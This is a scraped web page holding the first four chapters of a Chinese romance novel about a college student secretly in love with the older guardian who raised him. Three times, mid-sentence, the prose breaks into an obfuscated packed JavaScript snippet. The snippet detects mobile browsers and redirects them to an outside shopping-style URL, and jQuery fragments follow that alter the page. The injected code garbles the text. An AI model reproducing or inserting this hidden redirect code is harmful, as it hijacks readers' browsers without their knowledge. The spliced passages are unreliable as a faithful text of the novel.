《直男Daddy不准我喜欢野男人》 1. 第 1 章 云腾大厦会议室内。 空气中仿佛结了厚重的冰霜,压得在座高管们喘不过气。 陆执骁坐在会议桌主位,腕上的铂金腕表泛着冷冽的光。 和他此刻的眼神一样。 指尖压着的测试报告,是公司前两季度的重点项目——XGT工业级无人机的测试结果。 “太糟糕了。”他冷声说,“这种糟烂的产品如果投入真实救援,后果难以想象。” 全场噤若寒蝉,连翻资料都不敢发出声音。 就在这片死寂中,一道震动声突兀地响了。 陆执骁皱眉,扫了眼手机。 屏幕上显示:【童冉】 他略微一顿,站起身,推门从会议室走了出去。 一开口,冷硬的嗓音便像被什么轻轻化开,不自觉地柔和下来。 “怎么了,小猪?” 电话那头沉默了一瞬,传出来的却是个女子的声音。 “陆先生,您好,我是童冉学校的辅导员,他……跟同学起了冲突,您现在方便过来一下吗?” 陆执骁喉咙一紧,“他受伤了?” “没,童冉没有大碍,但把别人打伤了。” “哦。” 陆执骁挂断电话,给秘书发了条语音,“通知下去,会议暂停,我有急事要出去。” * A大,校保卫科调解室。 赵小帅鼻梁上贴着纱布,眼镜断了一条腿儿,脸上、身上都沾着尚未干涸的血迹,一副狼狈不堪的样子。 挡在他跟前的男人是A大副校长,王宏海,也是他的亲舅舅。 童冉站在他们对面,神情淡漠,仿佛周围的一切与他毫无干系。 他长了张精致而高傲的脸,不笑的时候距离感十足,好多人在背地里都叫他“冷艳校草”。 门口走廊挤满了围观的同学,交头接耳,窃窃私语。 “唉,童冉完了,惹谁不好偏惹赵小帅。” “听说赵小帅家里有矿,舅舅又是副校长,童冉没什么背景铁定栽了。” “听说童冉故意伤人,要被退学呢!” “退学倒还好说,以赵小帅那尿性,万一给他弄进局子,以后都不能考公了。” “真看不出来,童冉还会打人啊,不过打爽了又有什么用,前途都要毁完了。” 房间里,王宏海推了推眼镜,又清清嗓子,开口了:“童冉同学,根据A大《学生违纪处分条例》第三章第十二条,在校期间寻衅滋事、殴打他人致轻微伤以上者,给予开除学籍处分。监控视频显示,是你先动手殴打赵小帅。” 童冉抬眼,依旧面无表情:“是他先辱骂我,他也动手了,这算互殴。” “你放屁!”赵小帅狠狠剜了他一眼,大声怒骂。 王宏海抬手制止赵小帅,又转向童冉,继续说:“保卫处刚去事发地调取了监控,监控拍到赵小帅和你说话,你突然挥拳打在他的脸上,至于你说的‘辱骂’,监控没有录音。” “现在的伤情鉴定是,赵小帅鼻骨、脸颊,多处软组织挫伤,如果你不签署这份《退学申请书》并公开道歉,赵小帅会向法院提起民事诉讼,到时候就不单单是退学这么简单了。” 童冉蜷紧手指,咬了下嘴唇,正要开口,大门“咔哒”一声被人从外推开了。 “他凭什么道歉。”一道低沉醇厚的声音,穿透了室内浑浊的空气。 所有人的目光刹那间投向门口。 只见一个身着黑色西装的男人从门外迈了进来,五官冷硬,眉骨凌厉,下颌线条绷得极紧,190的身高投下一片冷峻的阴影,压迫感非常强烈。 王宏海触及到那道锋利的眼神,整个人僵在原地,眼珠子差点瞪出来。 ……陆执骁?! 那位传闻中很有名气的商界大佬。 他怎么会出现在这种处理学生打架斗殴的地方? “陆、陆先生。”王宏海赶忙站起来,脚下一个打滑,险些栽倒。 陆执骁连余光都没分给他,径直走到童冉面前。 “伤哪里了?”他盯着童冉衣服上的血迹问。 童冉紧绷的肩膀松下来,看向陆执骁,摇了摇头,“那不是我的血,我没大事,就是……手好痛啊。” 说话间,那双漂亮的小鹿眼覆上一层水雾,刚刚还是一脸冷漠,此刻在陆执骁面前,就变成了一只被雨打湿了毛发的小狗,可怜巴巴的。 陆执骁眉头微蹙,捧起他的手检查了一番,确认指骨没有大碍,只是红肿了一些。 “忍一下,一会给你涂药。” 他转过来,把童冉护到身后,视线扫过对面几人,最后停在了王宏海的脸上。 “A大怎么说也是知名学府,怎么处理起学生纠纷这么草率,像个白痴。”他丝毫不留情面说。 王宏海额头开始冒汗,万万没想到,这么个草根学生的背后竟是这尊大佛! 陆执骁的社会地位有多高,他不是不知道,是连大校长见了都要亲自迎到门口的顶级大佬。A大近年来的几个创业实训基地也都是这位大佬出资赞助的。 但眼下这么多人看着,又是在自己地盘,他不想太丢份儿。 “哎呀,真想不到陆先生为了这点小事还亲自跑一趟……”他讪讪笑着说。 陆执骁眼神冰冷:“这是小事么?” “啊不,不是,”王宏海赶紧摆手,硬着头皮说,“这件事……嗯确实是童冉同学无故动手打人,赵小帅鼻梁都差点断了……” “是吗。”陆执骁冷笑一声,抬了下手。 身后助理立刻上前,将一只U盘递到他手心。 “你说监控没有录音,很不巧,”陆执骁捏起那枚U盘,“A大的安保系统是陆氏集团旗下的公司开发的。监控确实没有音频,但独立于系统的声控感应器,留有音频备份。” 赵小帅一听脸色煞白,紧张地往后退了几步。 陆执骁将U盘插入电脑,几秒之后,一段清晰的语音从音响中传出。 是赵小帅的声音。 “童冉,你装什么啊,能陪大佬去游艇聚会,就不能陪我去酒吧?老子生日邀请你,那是给你面子呢!” “那个大佬出多少钱包的你,我也出那个价,玩嘛,跟谁玩不是玩。听说大佬一晚上睡好几个,你排到第几个啊……” 话音戛然而止,下一秒,砰——! 赵小帅发出杀猪似的哀嚎,紧接着是咒骂声与两人拳脚相撞的嘈杂声响。 仿佛那段混乱就在眼前发生! 音频到此结束。整件事的来龙去脉都被完整地还原了。 赵小帅性骚扰和人格侮辱在先。两人都有动手,根本不存在童冉单方面殴打对方。 “肮脏的东西!现在你还有什么话说!”陆执骁眼神锋利如刀,重重拍了一下桌子,赵小帅吓得差点跪了,求救般拉了下他舅舅的衣角。 王宏海此刻也乱了阵脚,冷汗呲呲往外冒。 “陆总,你先别激动,别激动……”他眼神闪躲,嘴唇都在打哆嗦,刚刚逼人退学的蛮横架势全然不见了,“是赵小帅的错,是赵小帅不懂事……” “不懂事?”陆执骁厉声打断他的话,“公然侮辱他人,恶语相向,这叫不懂事?” 他将U盘拔下来,扔给特助,“把这段音频发到网上,让所有人都看看,A大的学生赵小帅到底是不懂事还是思想龌龊,人品败坏。” “再把刚刚发生在这间房间里的事也一并上传视频,让所有人看看,校方公然利用职权包庇直系亲属,这算不算重大违纪!” 王宏海闻言,吓得双腿一软,差点瘫在椅子上。 这事真要发到网上,铺天盖地的舆论还不得吃了他! 他也顾不得面子不面子了:“别,别,陆总,咱们有话好好说。” 他弓着腰,双手抱拳苦苦哀求,陆执骁无动于衷,只冷眼站着,环臂胸前。 突然间,王宏海把躲在身后的赵小帅一把拎到前面,对着他的屁股狠狠踹了一脚。 “混账东西!干了这么龌龊的事,还有脸找我过来处理!马上给童冉道歉!现在!” 赵小帅被踹了个狗啃屎,捂着屁股狼狈地爬起来,难以置信地看着自己亲舅舅。 可王宏海压根连瞅都没瞅他一眼,满脸陪笑地对着气场恐怖的陆执骁。 门外围观的学生听到里面的动静,全傻眼了。 如此光速反转的剧情,如果不是亲眼所见还真不敢信! 不可一世的富二代,短短几分钟就成了条丧家犬。 而看似家世普通的童冉,才是扮猪吃老虎的那一个。 “我天,童冉牛逼,有这么硬的背景还那么低调。” “我就说吧,童冉是咱A大的校草,家境没那么简单的,深藏不露而已!” “赵小帅太恶心了吧,平时就爱撩骚,童冉打他一拳都算轻的,活该!” “要我有这么硬的后台,都不是打断他鼻梁骨了,直接打断他一条腿,让他再仗势欺人!” 房门没有关,大家在外头七嘴八舌的议论声尽数传到赵小帅耳朵。 他脸色红一阵白一阵,五脏六腑都气得发颤。 只是纵使一万个不想低头,舅舅这会那么恶狠狠地瞪着自己,像是能把他生吞活剥了。 这个歉,是不得不道了。 “……对不起。”他走到童冉跟前,耷拉着脑袋说,声音小得像蚊子。 陆执骁手臂搭上童冉肩膀,问他,“你听清了吗?” 童冉摇了摇头:“没听清。” 王宏海一听,立马又重重拍了赵小帅后脑勺一巴掌:“大点声,道歉要有道歉的样子,赶快!” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433213|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小帅牙齿都快咬碎了,顶着张大红脸,强行拔高声音,又道了一次歉。 童冉抿了抿嘴,从他脸上移开目光,拉住陆执骁的手腕,轻轻一晃,“咱们走吧,好吗?” “好。”陆执骁点头,轻轻牵起他的手,“走。” 门外的吃瓜群众已经围了里三层外三层。 见两人出来,大家都往两侧后退,自觉让出一条路。看向童冉的眼神都跟之前完全不一样了。 陆执骁目视前方,冷淡的眸光不曾在任何人脸上停留,他牵着童冉的手,一路走出了学校大门。 回到车上,关上门。 陆执骁并没马上吩咐助理开车,他打开扶手箱,翻出一件崭新的T恤衫,让童冉换上。 那件沾了赵小帅血迹的卫衣直接丢进垃圾桶,仿佛碰一下都嫌脏。 等童冉换完,他又从医药箱里翻出一瓶云南白药气雾剂。 “手。”男人言简意赅。 童冉乖乖把手伸过去,陆执骁一手托着他的手掌,一手摇了摇药瓶。冰凉的药雾喷洒在关节红肿处,激得童冉下意识缩了一下手指,却被男人温热的大掌扣住。 “别乱动。” 童冉就不敢再动了。 陆执骁用指腹慢慢将药液推开,童冉感受到他轻柔的动作,胸腔里酥酥软软。 “哥哥,”他用目光描摹着陆执骁绷紧的脸,“我今天打人,你生气吗?” 陆执骁看了他一眼,又低头继续涂药,“没有,不过以后遇到这种事,能不动手尽量不动手。暴力虽然是解决问题最直接的方式,但往往成本最高。” 童冉抿嘴,刚想说什么,陆执骁话锋一转,又道: “当然,如果对方欺负到头上,该动手也得动。我从来不会教你忍气吞声。” 童冉嘴角又扬了起来。 他倾过身,用那只没受伤的手环住陆执骁的胳膊,将脸埋进对方的肩窝。 “哥哥,你真好。” 陆执骁温热的掌心覆上青年的后脑勺,轻轻揉了揉他的头发。 “那个赵小帅,是不是在学校经常骚扰你?”他又问。 童冉抬了下头:“倒也没有,之前有次他想偷我包里的日记本,被我发现,骂了他一顿。这次是……你上周不是带我去了游艇晚宴吗?赵小帅也在,但他不认识你这张脸。” “估计看到咱们出双入对,就先入为主,以为我被大佬包养了,所以今天才那么肆无忌惮,觉得只要出得起价,我也能陪他。” 陆执骁越听眉头拧得越紧,周身气压持续降低。 “以后他再敢骚扰你,给我打电话,我亲自过来修理他!” “好。我记得了。”童冉咧嘴笑了笑。 陆执骁把青年又揽进自己怀里,拇指摩挲着他柔软的发丝,哄他:“不要生气了,那种人心脏,看什么都是脏的。为个人渣动气,不值。” 童冉感受着头顶的温热,咽了下喉咙:“嗯……其实,我不是因为他说【你包养我】才揍他的。” 陆执骁愣了愣,垂眸与他对视:“那是为什么?” “因为他说你一晚上睡好几个,还问我……在你那排到第几!”童冉咬牙切齿。 车内陷入短暂的沉默。 陆执骁看着面前气鼓鼓的青年,那双平日里轻而易举就能看穿商业陷阱的眼睛,此刻罕见地流露出一丝困惑。 他在脑海里过了一遍两句话逻辑: 【童冉被造谣是他的床伴】和他被造谣【一晚上睡好几个,童冉排第几】,有什么区别吗? 不都是对两人关系的污蔑?为什么童冉会对第二句那么介意? 他思来想去也没搞懂,不过不管怎么说,有一点是肯定的,童冉非常在意他们二人间的名声,不允许他们纯粹又纯洁的关系被人泼脏水。 “小猪长大了,知道维护咱们的兄弟情分了。”陆执骁舒展开眉心,唇角往上淡淡勾了一下,“我很欣慰。” 童冉:“……” 我不欣慰。 好一个“兄弟情分”,他就知道!陆执骁这个钢铁直男,压根就没懂他在气什么! 算了。 他小声叹了口气,“……我饿了,吃饭去吧。” “嗯,”陆执骁拍了拍车内挡板,示意助理可以开车了,“想吃什么?” 童冉幽幽翻了个白眼,语气蔫蔫的,带着刺:“想吃点能让直男不那么迟钝的东西。” 陆执骁:“?” 这是什么话?怎么听着莫名其妙的…… 不过既然童冉说了,即便不理解,他还是很认真地思考了一下。 让人不那么迟钝的…… 不迟钝的…… “我想到了,”他的眼眸里闪过一抹自信和笃定,“带你去一家日料店,专做深海鱼料理,补脑,脑子好使了,自然就不迟钝了,对吧?” 2. 第 2 章 童冉盯着陆执骁的脸,一时竟分不清自己是想笑还是想哭。 好一个补脑。 这人怕是补成脑干超重,也参不透自己对他的那点心思。 童冉一路默默腹诽,跟着陆执骁进了那家日料店。 抬头看一眼招牌——钝感。 不愧是陆执骁选的店。名字都透着一股陆执骁式的“迟钝感”。 店内灯光幽微,榻榻米很软,陆执骁翻看着菜单,把几道招牌菜全点了一遍。 蓝鳍金枪鱼、北海道海胆、鲜甜虾泥、炭烤牛舌、蒲烧鳗鱼三吃…… “还想吃什么?你再看看。”他把菜单递给童冉。 “不看了,”童冉摆手,“我无条件相信饲养员。” 陆执骁笑了笑,饲养员和小猪,是他们两人相互称呼对方的昵称。 童冉10岁那年被接到陆家,刚来的时候不爱说话,也不吃饭,小小的一只缩在卧室角落。 陆执骁就端着营养餐上楼,搬椅子坐在小孩跟前,一口一口把饭喂到他嘴边。 起初童冉不理。陆执骁就等。饭菜凉了就去热一道,再端上来。 整整花了四个月,童冉才慢慢向他敞开心扉。后来喂饭就成了习惯。 某次吃饭,童冉看到电视里在播放饲养员喂小猪。 而他此刻也正被陆执骁一勺一勺喂山药排骨羹。 一抹很微妙的羞耻感,悄悄涌上心头。 他推开陆执骁的汤匙,拧着鼻子,指了指电视机。 陆执骁扫了眼,笑了,戳了戳他的脑门,说,“我喂小猪,小猪才能长得壮,以后你就是我的小猪了,行吗。” 童冉眨眨眼,忽然发现“小猪”这两个字从陆执骁嘴里说出来,竟出奇得亲切。 “嗯也行,”他认真想了想,“那以后你就是饲养员?” “行,成交!”陆执骁爽快说。 还在回忆着,服务生开始上菜了。 童冉刚才打了架,右手指关节现在还肿着,拿筷子时一不小心碰到了。 “……嘶。”他皱了下眉。 下一秒,一只指骨分明的大手直接抽走了他手里的木筷。 陆执骁极其自然地夹起一块金枪鱼,递到童冉唇边,“张嘴。” 童冉抬眼看向他,乖乖张嘴咬下。鱼肉鲜美,他吃得稍微有点急,一滴浅色的酱汁不小心沾在了嘴边。 童冉仰了下头,正要抽纸,陆执骁已经伸过手来,粗粝的指腹擦过他柔软的唇角,将那滴酱汁轻轻抹去了。 “!” 如此亲昵的触碰,让童冉心脏咚咚跳快,不由得产生了一种错觉,仿佛自己不是被当做弟弟,而是被当做更亲密的恋人在对待。 然而,这丝隐秘的悸动还没来得及蔓延开,陆执骁已经擦了擦手,夹起第二块鱼肉塞给他。 “多吃点。深海鱼DHA含量高,补脑效果最好。” “……” 童冉口中的鱼肉瞬间就不香了。 他使劲咀嚼了两下,像是要把“补脑”两个字嚼碎了咽下去。 正在此时,陆执骁手机响了。 来电显示:陆屿轩。他的亲弟弟。 陆执骁放下筷子,接起电话,“什么事。” 电话那头传来陆屿轩咋咋呼呼的声音:“哥!下午五点我要去体育馆看演唱会,你送我过去呗!” “没空。”陆执骁毫不犹豫地拒绝,“公司忙,你自己打车去。” “不是吧,你是我亲哥吗?”陆屿轩不满地嚷嚷,“打车多没面子啊,而且我这还背着应援物料呢……” “嘟——” 陆执骁无情地挂断了电话。 童冉在一旁托腮看着他,小鹿眼微微眯起:“这次演唱会陆屿轩期待了好久了,你不送他去,不怕他在家闹翻天?” “呵,”陆执骁冷笑,“看几个奇装异服的人在台上乱蹦,不务正业,我没义务惯着他。” 童冉眼珠一转,往前倾了倾身,又试探说,“对了,我下午没课,想去美术馆看展。今天最后一天,七点就撤展了。你有空陪我去吗?” 陆执骁怔了怔。 他下午有个高层战略会,很重要。会议大概持续三到四个小时。 见他迟疑,童冉眼睫垂了下去,叹了口气,很懂事地说:“忙就算了,没关系,我自己去。” 陆执骁看着他,眉头微动。片刻,他拿起手机,给秘书发了条语音。 “通知下去,下午的战略会议提前到一点半开始。五点之后我还有其他事。” 童冉眼睛亮了亮,唰得抬起头。 陆执骁放下手机,眉眼间的冷硬全都化作了纵容:“五点我去接你,来得及。看展是正经事,我理应支持。” 童冉扬起嘴角,心里像是淌进了蜜:“谢谢哥哥,五点,我等你~” 心脏又咚咚跃动起来,比刚刚跳得还要快。 陆执骁的“双标”让之前那种错觉再一次涌上心头。 对亲弟弟冷酷无情,对自己百依百顺。这简直就像一剂慢性毒药,在滋长他内心深处那抹最见不得光的贪婪。 他甚至会想:如果他不是陆执骁从小养大的弟弟就好了。 可如果他不是,陆执骁还会这么对他吗? * 五点整,黑色的迈巴赫准时停在童冉所在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433214|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的咖啡馆门口。 两人驱车赶到市中心的美术馆。 本次展览的主题叫做:【爱是灵魂的越狱】。 陆执骁对绘画一窍不通,全程默默跟在童冉身后,充当完美陪同者。 两人一路走,一路看,不知不觉走到展厅尽头的一幅巨型油画前。 童冉停住脚,目不转睛地盯着画作。那幅画,名字叫做《双生》。 画面极具冲击力,下幅是赤红如血的岩浆与荆棘,上幅是圣洁空灵的云海与宫殿。 画中的两个男人不着寸缕,紧紧相拥,身体交叠如一体,深陷下方炼狱之中。 烈焰舔舐着他们的背脊,荆棘刺穿掌心,每一寸肌肤仿佛都在承受世俗最严厉的审判与剧痛。 但在他们的头顶之上,两道半透明的光影正挣脱肉身,比翼齐飞。雪白的羽翼掠过火海,直抵云端,在那片宫殿里获得幸福与永生。 相爱,是肉身下地狱,灵魂上天堂。 不爱,是肉身在人间,灵魂入坟墓。 童冉的睫毛簌簌轻颤,呼吸变得压抑。 看着画中抵死缠绵的同性爱人,那么炽烈,那么自由,也那么的……遥不可及。 他忽然很想哭。 此时,陆执骁从他身侧靠过来,高大的身躯将他整个人笼罩在一片阴影里,一转头看到童冉在揉眼睛,马上搂住他的肩膀,关切问: “怎么了?看个画眼睛都看红了?是不是画面太刺眼,不舒服了?” “……” 童冉悲怆的情绪被撞了个七零八落。 直男的脑回路,还真就是朴实无华,且抽象。 陆执骁听不到他的吐槽,只当他是真的眼睛不舒服。 他挪到童冉身后,温热的手掌覆上青年的眼睛,轻轻往后一带,童冉整个身体便不受控地后仰,脊背贴在了他那片结实的胸口上。 男人的气息从头顶落下。 “不舒服就先别看了,”陆执骁低声说,磁沉的嗓音贴着童冉的耳廓,“靠着我,休息一下,好吗?” 童冉心头猛地一颤,感受着对方沉稳有力的心跳,起伏的呼吸,还有衬衣布料下绷紧的肌肉线条…… 忽然,他伸出手,紧紧抓住了男人的手腕。 “哥哥,我能问你一个问题吗?” 陆执骁垂眸,点了点头:“你问。” 童冉直起身,拉开他的手,睫毛还是湿的,眼尾泛着红。 可那双眼睛里,却燃着一簇灼亮的火光。 他望向陆执骁,滚动着喉结,开口说:“如果,你爱上一个同性,你会不会为了他,去走一条满是荆棘,但也满是快乐的路?” 3. 第 3 章 陆执骁看着童冉,像在认真思考一桩商业并购案,片刻后,他给出了答案。 “这个问题我无法回答。”陆执骁神色坦然,说,“因为我不会喜欢上同性。这种假设性的前提,在我这不成立。” “……” 童冉看着他那张写满逻辑严谨的脸,到了嘴边的话又咽了回去。 直男发言。这人真是比这罗马立柱还要直! 钢筋混凝土浇筑的,风吹不弯,雷打不动。 他就多余问这一嘴,平白给自己添堵! 他垂下眼,那点兴致荡然无存,转过身去,不再去看陆执骁,“走吧,我想回去了。” “不看了?”陆执骁抬头往楼上看了眼,“二楼展厅,好像还有几幅作品。” “不看了,没意思了。”童冉把手插进兜里,头也没回地往出口走去。 陆执骁也没多问,长腿一迈迅速跟了上去。 回去的路上,童冉坐在车里,百无聊赖地刷手机,把刚才那幅油画发了条朋友圈,配文只有一个句号。 发出去没多久就收获了100+赞,还有不少评论,其中有一条是陆屿轩发的:【看展去了啊,跟谁一起去的呀?】 童冉知道他在试探什么,动动手指,回复:【自己去的,怎么了?】 陆屿轩没再回。 回家,吃过晚饭,童冉上楼回了自己房间。 晚上10点,陆屿轩看演唱会回来了,头发上亮晶晶的,发胶喷得硬挺张扬,浑身带着一股燥热的汗味。 他进门就把外套往沙发上一扔,一边换鞋一边冲正在看财经新闻的陆执骁抱怨:“你太不够意思了哥!演唱会场馆在城南,我打车打不上,最后挤公交去的!迟到了整整十分钟,保安差点没让我进场!” 陆执骁滑动手里的平板,头都没抬:“活该。以后少看这种没营养的东西。” “什么叫没营养啊?”陆屿轩气哼哼的,一脸不服气,“童冉去看画展你怎么不说没营养?合着画展就是艺术,演唱会就是垃圾?” 陆执骁听到这终于肯抬头,施舍给他一个眼神:“他是文化产业管理专业的,看展是在自己的专业领域深耕,你是为了什么?为了看几个美女在台上乱蹦?娱乐跟学习能一样吗?” “我就知道!”陆屿轩撸袖子,差点要跳脚,“你就是偏向童冉,他做什么都对,到底谁是你亲弟弟啊?我现在就去他房间把他打一顿!” “你敢。”陆执骁声音不高,却带着一股不容置疑的威压。他放下平板,站起身,高大的身躯投出一片黑压压的暗影。 陆屿轩瞬间怂了,后退了两步,嘴上却还死撑,“你看你看!急了是不是,我说什么来着,我说什么来着!” “行了!”陆执骁厉声打断他,指了指他的头发,“赶紧把你那颗海胆似的脑袋洗了去,我看着就心烦,辣眼睛!” 陆屿轩翻了个大白眼,踏着地板咚咚咚地上楼了,嘴里止不住地嘟囔“偏心眼”、“胳膊肘往外拐”、“不是亲哥”…… 陆执骁看着那道背影,无奈地摇了摇头。 二十几岁的人了,这么幼稚!比童冉还都大一岁,却总像个不懂事的小孩似的争宠。 这些年,陆屿轩说过无数次他偏心,跟父母也不止一次地告状。 但陆执骁坚定地认为,这不是偏心。是他身为长子,应该做的,也是必须要做的事。 在他看来,童冉是个很可怜的小孩。 他的父亲童建山跟陆执骁的父亲是二十多年的挚友。 十一年前,童建山为了帮他家处理一桩棘手的生意纠纷,跟他的父亲连夜驱车赶路前往邻市。 当时是父亲开的车,童建山坐在副驾。 谁也没想到,半途出了车祸。车子当场翻滚数圈,砸进了一条排水沟。 陆父全身多处骨折,而童建山伤势过重,在ICU抢救了两天,离世了。 童冉的母亲没过半年就搬去S市,另嫁他人。小童冉抗拒继父,也拒绝融入新家庭。就这样他被孤零零地留在了A城,身边只剩下年迈的奶奶一个亲人。 陆父得知消息,马上为老人家安排了全市最好的疗养院,又把年仅10岁的童冉接回了家。 陆执骁永远记得小童冉刚来时的样子。 瘦瘦小小的,像只受惊的小鹌鹑,缩在角落里一句话也不说,眼神里全是警惕和惶恐。 那段时间的小童冉严重自闭,抗拒与任何人交流,也不让任何人碰触。 是陆执骁一点点靠近他,哄他吃饭,陪他睡觉,带他去海边,去雪山,去任何能让他开心起来的地方。 没有人知道,当小孩第一次主动去拉陆执骁的手,喊他“哥哥”时,陆执骁的眼眶有多热。 他几乎是把童冉当儿子在养,即便那个时候的他也才刚满二十岁。 这是他们家欠童家的债,他该去抗下这份责任。 …… 另一边,二楼卧室。童冉趴在床上,跟死党黄咏熙打视频。 他把今天陆执骁那番“直男宣言”原封不动地跟铁子复述了一遍。 屏幕那头,黄永熙摩挲着下巴,不住地摇头:“难啊,爱上一个直男就好比媚眼抛给瞎子看。不是,世上那么多好gay,你就非要喜欢你的直男哥哥吗?” 童冉垂眸沉默。 他也不知道是从什么时候开始的。 只记得在所有人都会经历的青涩年纪里,第一次懵懂地做那种梦,梦里的人是陆执骁。 第一次在浴室里羞耻地打手活儿,脑海里想的人是陆执骁。 第一次在日记里写下少男直白的性幻想,对象还是陆执骁。 但也仅此而已,他不敢表白。 怕这层窗户纸捅破后,连现在这层“兄弟关系”也保不住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433215|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄永熙没得到回答,只好跳过这个话题,转而问:“那你打算怎么办啊?一直就这么暗恋下去?等到他结婚,你在婚礼上当伴郎,强颜欢笑祝他早生贵子?” 童冉心里一刺,搓了把脸,闷声说:“我不想,可又能怎么办呢,他是直男,钢筋水泥的那种。” “嗯……其实也不一定。”黄永熙一脸的高深莫测,神神秘秘说,“我对象跟我在一起之前,也号称钢铁直男。后来呢?不还是被小爷我征服了,现在粘人得要命。” 童冉抬起头,盯着镜头里的人看了几眼,又垂下,指尖有一下没一下地抠着抱枕上的流苏。 “那不一样。” “哎呀,怎么不一样,”黄永熙啧了一声,凑近镜头,“你那张小脸那么美,别说直男了,就是石头都能让你看化了,听我的,别搞什么默默守护那一套,直男不会明白的。你就主动出击,去钓,去撩!” “再说你哥从小对你那么好,比对他亲弟弟都上心。这种独一份的偏爱,说不定潜意识里也是喜欢你,只是他自己没往那方面想,你得帮他开窍……” 黄永熙机关枪似的一通输出,童冉听着听着,竟真的被怂恿得有些动摇了。 这样……真的可以吗? 隔壁书房隐约传来陆执骁打电话的声音。低沉,磁性,像大提琴的琴弦在心尖上轻轻拨动。 他咽了下口水,只觉得自己的一颗心,像条被春水泡过的纸船,朝着陆执骁的方向,悄悄扬起了头。 可转念再一想,这是“直掰弯”啊!生掰啊,又有点下不去手。 他十岁就住进陆家,被陆执骁护着长大。 陆执骁几乎就是他的第二个爸爸。 把“爸爸”给掰弯了,那很不对了吧? 他在床上滚了两圈,翻来覆地纠结。 直掰弯的确是有点造孽。而且陆执骁也是真的直,目前看,没有一点能被掰弯的可能性。 之前某次商务晚宴,有个顶流男明星大胆跟陆执骁表达了爱慕之情,却被直男霸总当场说恶心。 童冉不敢想这件事要是发生在他身上,会不会羞愧得当场暴毙。 唉。他长长叹了口气,爬起来,拉开抽屉,拿出日记本。 正准备写些什么,“叮——”手机在枕边响了一声。 童冉捞过手机,看到黄永熙给他发了个链接:《如何让直男为你神魂颠倒之实操攻略》 童冉:“……” 童冉翻了个小小的白眼,小声嘟囔着:“搞什么啊,发这种……” 只是嘴上嫌弃得不行,手指却鬼使神差地点了进去。 目光飞快浏览过页面,他轻轻咬住下唇,戳了个收藏。 不是真想让直男为他神魂颠倒才收藏的…… 就随便看看,开开眼,长长见识。 反正……反正看了也不代表就真的会干。 4. 第 4 章 昨晚挑灯夜读《实操攻略》的直接后果,就是童冉今天早晨起晚了。 但即便晚了,他也还是在洗手间磨磨蹭蹭了半个多小时。 攻略第一课:【视觉焦点转移法:用不经意的局部湿润感,勾起直男潜意识的触碰欲。比如,水润的嘴唇。】 是了。童冉记得相当清楚。 各种细节,各种知识点,以至于让他把他自己亲口说得那句“就看看,开开眼,也不代表真的会干……”全然抛到了脑后了。 童冉盯着洗手台上的水蜜桃味润唇膏,深吸了一口气,然后拧开,对着镜子,薄薄地涂了一层。 镜子里的青年唇红齿白,灯光一打,两片唇瓣晶莹剔透,就像刚刚剥开壳的果冻,散发着诱人的甜香。 童冉抿了抿唇,揣着一颗七上八下、又虚又跃跃欲试的心,踩着拖鞋下了楼。 陆执骁早就在餐厅等了。听见脚步声,抬手招呼道,“过来吃早餐,今天有点晚了。” “哦。”童冉走过去,挨着他拉开椅子坐下来。 餐桌上摆得很丰盛。陆执骁很随意地挽着袖口,露出一截线条紧致的小臂。 童冉脑子里又飞快过了一遍“攻略知识点”,端起手边的玻璃水杯,贴着杯沿慢吞吞地喝了一小口温水。 水渍覆在唇膏上,让那两瓣果冻唇更加饱满湿润。 之后他微微探身,装作要去够陆执骁面前的蓝莓酱,舌尖还不经意地舔了一下下唇。 果然。 陆执骁的视线定住了,忽然朝他这边倾身过来,两人的距离骤然拉近,一股淡淡的沉木香侵占了童冉的呼吸。 童冉喉咙一紧,很清晰地看到,陆执骁正紧紧盯着他的嘴唇! 不会吧? 这就已经上钩了?! 他的心脏开始狂跳,睫毛不受控制地颤抖,颅内小剧场已经开始往外冒粉红泡泡。 若是陆执骁真的亲下来,他要怎么办? 是矜持一点假装推拒,还是直接闭上眼迎接他的亲亲? 正纠结得头顶冒烟,耳畔忽然撞入低沉的一句:“别动。” 童冉呼吸一滞,直接条件反射般闭紧了眼睛。 下一秒—— “你的下巴上,怎么起了一个包?” 童冉:“……” 童冉:“?” 脑袋里的粉红泡泡“啪”一下碎成了渣渣。 他缓缓睁开眼,正对上男人微微蹙起的眉心。 陆执骁依旧盯着他,指了指青年下巴靠近右侧嘴角的地方:“是上火了,还是被蚊子咬?” “…………” 童冉脑子嗡嗡的,像是飞进去了一百只蚊子。 刚刚那点隐秘又亢奋的期待,此刻消散得无影无踪。 所以吸引到陆执骁的根本不是他水润欲滴的果冻唇,而是他下巴上的一颗小包?!! 他自己都没注意到,陆执骁的眼神还真是刁钻啊。 